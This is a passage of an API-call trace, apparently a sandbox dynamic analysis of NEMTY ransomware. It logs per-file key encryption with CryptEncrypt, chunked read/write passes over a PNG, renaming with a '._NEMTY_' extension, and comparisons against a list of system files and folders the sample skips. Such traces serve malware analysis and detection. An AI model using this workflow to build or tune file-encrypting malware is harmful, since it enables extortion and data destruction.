out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd5c79c50, dwHighDateTime=0x1d561e7)) [0057.267] GetLastError () returned 0x5 [0057.267] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0057.267] GetLastError () returned 0x5 [0057.267] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0057.267] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0057.267] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0057.267] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0057.267] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0057.268] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0057.268] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0057.268] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e91c | out: pszString="1yUZqi7bmyHH3CMUFkobrXh6WgdYC0jrQj0fkzkPgAJbzG1GiJ2eWoIFbTLCbeBj\r\nwKEwabxXB0vuS0shakyJVZI4d/d1KlGlkrt5UfKgLEeoQH1ebaNFCWKfgK1epnqo\r\nG7FSuWmjcuKblk9AI15s3shcXs+Gg3NudcVhN/n422gLugFYmVDfl4n7ZyawXMWO\r\n5TOvMp55lGCUcQz5i9a6eDsk66rffygsCf84mCaq+BqdaZ7lpYRvLL4Pep25G23d\r\n7QNFK+uYM+VJMoIJt17UDHNadTibtMWAT11j98b0viq55y8gkMmb0jkbAE72dcL8\r\nNu2yEYpfub5R24ZrlQY1og==\r\n", pcchString=0x653e91c) returned 1 [0057.268] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340260 [0057.268] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0057.268] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0057.268] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0057.268] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0057.268] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63403d8 [0057.268] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-previous-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0057.269] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0057.269] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6346d48 [0057.269] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.269] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0057.278] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.279] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0057.279] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.279] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0057.288] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.288] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0057.288] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.288] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0057.308] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.308] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0057.308] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.308] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0057.318] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.318] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0057.318] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.318] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0057.327] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.327] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0057.327] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.327] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0057.336] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.337] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0057.337] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.337] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0057.347] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.347] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0057.347] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.347] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0057.357] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.357] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0057.357] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.357] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0057.366] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.366] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0057.366] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.366] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0057.376] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.376] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0057.376] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.376] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0057.382] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.382] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0057.382] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.382] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0057.388] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.388] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0057.388] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.388] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400f0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0057.388] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0057.388] CloseHandle (hObject=0xffffffff) returned 0 [0057.388] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6343fe8 [0057.388] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0057.388] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0057.388] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0057.388] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0057.388] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0057.388] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6344090 [0057.388] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6344138 [0057.388] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344090 | out: hHeap=0x4f90000) returned 1 [0057.388] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0057.388] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-previous-static.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-previous-static.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-previous-static.png._nemty_kgobjgd_")) returned 0 [0057.388] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344138 | out: hHeap=0x4f90000) returned 1 [0057.388] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0057.388] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0057.388] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0057.388] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d8 | out: hHeap=0x4f90000) returned 1 [0057.389] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0057.389] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0057.389] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0057.389] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0057.389] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0057.389] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729d59b7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729d59b7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a39de7d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x75d, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="button-highlight.png", cAlternateFileName="")) returned 1 [0057.389] lstrcmpiW (lpString1="button-highlight.png", lpString2=".") returned 1 [0057.389] lstrcmpiW (lpString1="button-highlight.png", lpString2="..") returned 1 [0057.389] lstrcmpiW (lpString1="button-highlight.png", lpString2="...") returned 1 [0057.389] lstrcmpiW (lpString1="button-highlight.png", lpString2="windows") returned -1 [0057.389] lstrcmpiW (lpString1="button-highlight.png", lpString2="$RECYCLE.BIN") returned 1 [0057.389] lstrcmpiW (lpString1="button-highlight.png", lpString2="rsa") returned -1 [0057.389] lstrcmpiW (lpString1="button-highlight.png", lpString2="NTDETECT.COM") returned -1 [0057.389] lstrcmpiW (lpString1="button-highlight.png", lpString2="ntldr") returned -1 [0057.389] lstrcmpiW (lpString1="button-highlight.png", lpString2="MSDOS.SYS") returned -1 [0057.389] lstrcmpiW (lpString1="button-highlight.png", lpString2="IO.SYS") returned -1 [0057.389] lstrcmpiW (lpString1="button-highlight.png", lpString2="boot.ini") returned 1 [0057.389] lstrcmpiW (lpString1="button-highlight.png", lpString2="boot.ini") returned 1 [0057.389] lstrcmpiW (lpString1="button-highlight.png", lpString2="AUTOEXEC.BAT") returned 1 [0057.389] lstrcmpiW (lpString1="button-highlight.png", lpString2="ntuser.dat") returned -1 [0057.389] lstrcmpiW (lpString1="button-highlight.png", lpString2="desktop.ini") returned -1 [0057.389] lstrcmpiW (lpString1="button-highlight.png", lpString2="CONFIG.SYS") returned -1 [0057.389] lstrcmpiW (lpString1="button-highlight.png", lpString2="RECYCLER") returned -1 [0057.389] lstrcmpiW (lpString1="button-highlight.png", lpString2="BOOTSECT.BAK") returned 1 [0057.389] lstrcmpiW (lpString1="button-highlight.png", lpString2="bootmgr") returned 1 [0057.389] lstrcmpiW (lpString1="button-highlight.png", lpString2="programdata") returned -1 [0057.389] lstrcmpiW (lpString1="button-highlight.png", lpString2="appdata") returned 1 [0057.389] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0057.389] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button-highlight.png", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0057.389] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0057.389] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button-highlight.png", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="button-highlight.png", lpUsedDefaultChar=0x0) returned 20 [0057.389] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0057.389] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0057.389] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button-highlight.png", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0057.389] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0057.390] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button-highlight.png", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="button-highlight.png", lpUsedDefaultChar=0x0) returned 20 [0057.390] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0057.390] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0057.390] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0057.390] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0057.390] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button-highlight.png", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0057.390] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0057.390] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button-highlight.png", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="button-highlight.png", lpUsedDefaultChar=0x0) returned 20 [0057.390] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0057.390] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0057.390] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button-highlight.png", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0057.390] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0057.390] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button-highlight.png", cchWideChar=20, lpMultiByteStr=0x4f9ed08, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="button-highlight.png", lpUsedDefaultChar=0x0) returned 20 [0057.390] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0057.390] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0057.390] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0057.392] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94328 [0057.393] Sleep (dwMilliseconds=0x5) [0057.427] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd5df6a10, dwHighDateTime=0x1d561e7)) [0057.431] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd5df6a10, dwHighDateTime=0x1d561e7)) [0057.432] GetLastError () returned 0x5 [0057.432] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0057.432] GetLastError () returned 0x5 [0057.440] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0057.440] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0057.442] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0057.442] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0057.442] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0057.442] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0057.442] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0057.442] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e91c | out: pszString="6Ia7b+W39tHEHEyWLGBZ6uVNM0GEeUGCKVjSanIsurtPknfTO7scqlJ5X25yEATs\r\nCHPLiYwGW5Zk1N3f5rbnp2qfYf2S2Kf03eeZXI2m1ol3KRTcugeSnVoTsA9j7zuE\r\nHs0kGrTB2IX+lSwXzm5nuVp6WxTnQcjE7zLp+VelVanaSO+ws0paB6ytZzTCGKZZ\r\nPy0LPxRUa8VVI0GKiaVKIvT6K/ZTikNcc05IHagDyMuzt/sLp5S1Ru/EUstP7K6A\r\nWzMQcFPohNYuZntScTimySLwy5tOFgcAHQ4NgTPRrNmiS4SMR7lAjx7kgA7gQdhv\r\n27CvuFNYQKeTRhp97wjxDw==\r\n", pcchString=0x653e91c) returned 1 [0057.442] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340260 [0057.442] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0057.442] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0057.442] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0057.442] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0057.442] RtlAllocateHeap 